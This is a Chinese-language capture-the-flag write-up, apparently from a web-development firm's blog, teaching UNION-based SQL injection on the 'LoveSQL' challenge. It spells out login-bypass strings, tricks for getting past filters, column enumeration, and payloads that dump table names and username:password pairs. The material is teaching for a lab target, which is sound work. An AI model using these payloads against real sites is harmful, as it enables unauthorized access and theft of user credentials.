拓十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

(SQL注入学习)联合查询注入(UNION-Based)

(SQL注入学习)联合查询注入(UNION-Based)

摘要:本题主要考查对联合查询注入的实战使用方法。


目录

一、题目详情

二、解题思路及原理

1、登录绕过

2、判断注入类型

(1)判断字符型还是数字型

(2)判断回显位置

3、有回显的联合查询注入(Union-Based)

(1)获取当前数据库名和用户名

(2)获取所有表名

(3)获取指定表的所有列名

(4)提取账号密码


一、题目详情

题目来源:CTF²中的“[极客大挑战 2019]LoveSQL”

靶机环境:启动靶机,进入靶机链接


二、解题思路及原理

1、登录绕过

看到登录框或查询框,先用万能密码测试看看。

a、基础万能密码

  • 用户名:1' or 1=1#(或admin' or 1=1#)

  • 密码:任意数字(如123)

  • 原理:我们写的sql语句是直接插入到【where username='万能密码'】,由于有引号闭合所以要写插入语句的时候要注意引号。php会自动补全其他sql语句然后放到数据库里执行,故我们只需要写相应主要是sql语句来实现我们的目的。

SELECT * FROM users WHERE username = '1' OR 1=1#' AND password = '123'

1=1恒真,#注释掉后面所有东西。因为'1'='1'永远为真,所以WHERE条件对整个表都成立,查询会返回users表里的所有行。

b、碰到过滤情况

闭合引号并注释: 用户名:admin'-- 密码:任意 原理:-- 也是 SQL 注释符(注意 MySQL 中 -- 后面必须跟一个空格)。适用于 # 被过滤的情况。
过滤了空格: 用 /**/ 代替空格:1'/**/or/**/1=1# 用 + 代替空格(URL 编码中):1'+or+1=1# 用括号绕过:1'||1=1# (针对特定数据库)
括号闭合绕过(针对 WHERE (username='xxx') 结构): 用户名:1') or ('1'='1 密码:任意 原理:WHERE (username='1') or ('1'='1') AND password='123'

输入万能密码:

结果如下:

2、判断注入类型

适用情况:不知道是数字型还是字符型,不知道有没有回显。

  • 数字型:你输入的东西直接就是 SQL 的一部分,不用管引号。

  • 字符型:你必须先补一个引号把前面的引号闭合掉,才能继续注入。否则你的 payload 会被当成字符串内容,不生效。

(1)判断字符型还是数字型

  • 输入1',页面正常-->字符型注入(存在单引号闭合问题)。

  • 输入1,页面正常-->数字型注入(不需要单引号闭合)。

PS:看上面两个图片,输入的万能密码带有引号看到页面正常,可以判断是字符型注入。

(2)判断回显位置

通过上面得到的那个好像flag的数据,但是测试了发现不对,但可以判断是可以sql注入的而且输出的东西可以知道它会显示数据库查询结果(回显:你发出去的请求,服务器处理完之后,把结果“显示”回给你了。)

回显 = 你注入产生的结果,能不能在网页上直接看到。
有回显 → 用 UNION / 报错注入,直接拿数据。
无回显 → 只能盲注,靠页面反应一点点猜。

由于界面没有报错而是返回正确数据库查询结果,因此采用UNION注入。但我们还得先确定回显位置。

回显位置 = 页面上能显示注入结果的那个“坑”。
先数清有几列,再用 1,2,3 试出哪个坑能显示,最后把要查的数据塞进那个坑。

判断方式:

(a)判断有多少列

输入1' order by 3#,页面正常;输入1' order by 4#,页面报错 -> 说明当前表有3 列

注:猜测当前查询结果集有多少列,当数字超过实际列数时,数据库会报错(如Unknown column 'N' in 'order by'),从而推断出列数。

原理:假设原始 SQL 是:

SELECT id, username, password FROM users WHERE id = '1' ORDER BY id DESC

把参数改成1' order by 3 #,语句变成:

SELECT id, username, password FROM users WHERE id = '1' order by 3 # DESC

#把后面的DESC注释掉,order by 3正常执行。如果order by 4报错,就说明表里有 3 列。

(b)判断回显位在哪

输入1' union select 1,2,3#,观察页面上哪个数字被替换成了回显位(比如页面原本显示标题的地方变成了2,这里的2不是数字本身有意义,而是“第 2 列是回显位”的标志。你写进第 2 列的什么内容,页面就会显示什么。),后面把敏感函数/字段塞到第 2 列就能读到数据。

传入1' union select 1,2,3#:

SELECT id, username, password FROM users WHERE id = '1' union select 1,2,3#
  • '1'闭合了原字符串

  • union select 1,2,3追加了一个联合查询,返回一行(1, 2, 3)

  • #注释掉尾部

测试如下:

(a)判断有多少列

输入1' order by 3#

页面正常

输入1' order by 4#

页面报错

故判断为返回的是3列

(b)判断回显位在哪

由此可知回显位是第2位和第3位

3、有回显的联合查询注入(Union-Based)

根据上面的判断,接下来我们就只需要让第2位和第3位上去使用函数或字段去获取数据了。

(1)获取当前数据库名和用户名

' union select 1,database(),user()#

测试如下:

获取到数据库名为geek,用户名为root@localhost

(2)获取所有表名

' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# 注:group_concat可以把多行结果拼成一行,方便显示,如果不使用的话,那么只会出现第一张表。(如果有多张表的话,后面的表不显示出来)

说明如下:

片段作用
'闭合前面的字符串
union select 1, ..., 3追加一行结果,占满 3 列
group_concat(table_name)把多行表名拼成一个字符串
from information_schema.tables查系统表(存所有表名的地方)
where table_schema = database()只查当前数据库的表
#注释掉尾部

测试如下:

获得表名l0ve1ysq1

(3)获取指定表的所有列名

' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#

这里就不需要再做解释了,上面已经解释过了。

测试如下:

由此可以字段为3个为“id,username,password”

(4)提取账号密码

' union select 1,group_concat(username,0x3a,password),3 from l0ve1ysq1#

注:0x3a是十六进制的冒号,用于分隔用户名和密码(如:admin:123),不然账号和密码就在一起显示了(如:admin123)。为什么不用':',因为引号经常被过滤。如果不会过滤可以用“:”

测试结果如下:

好了,可以明确看到flag了,终于拿到了!

返回列表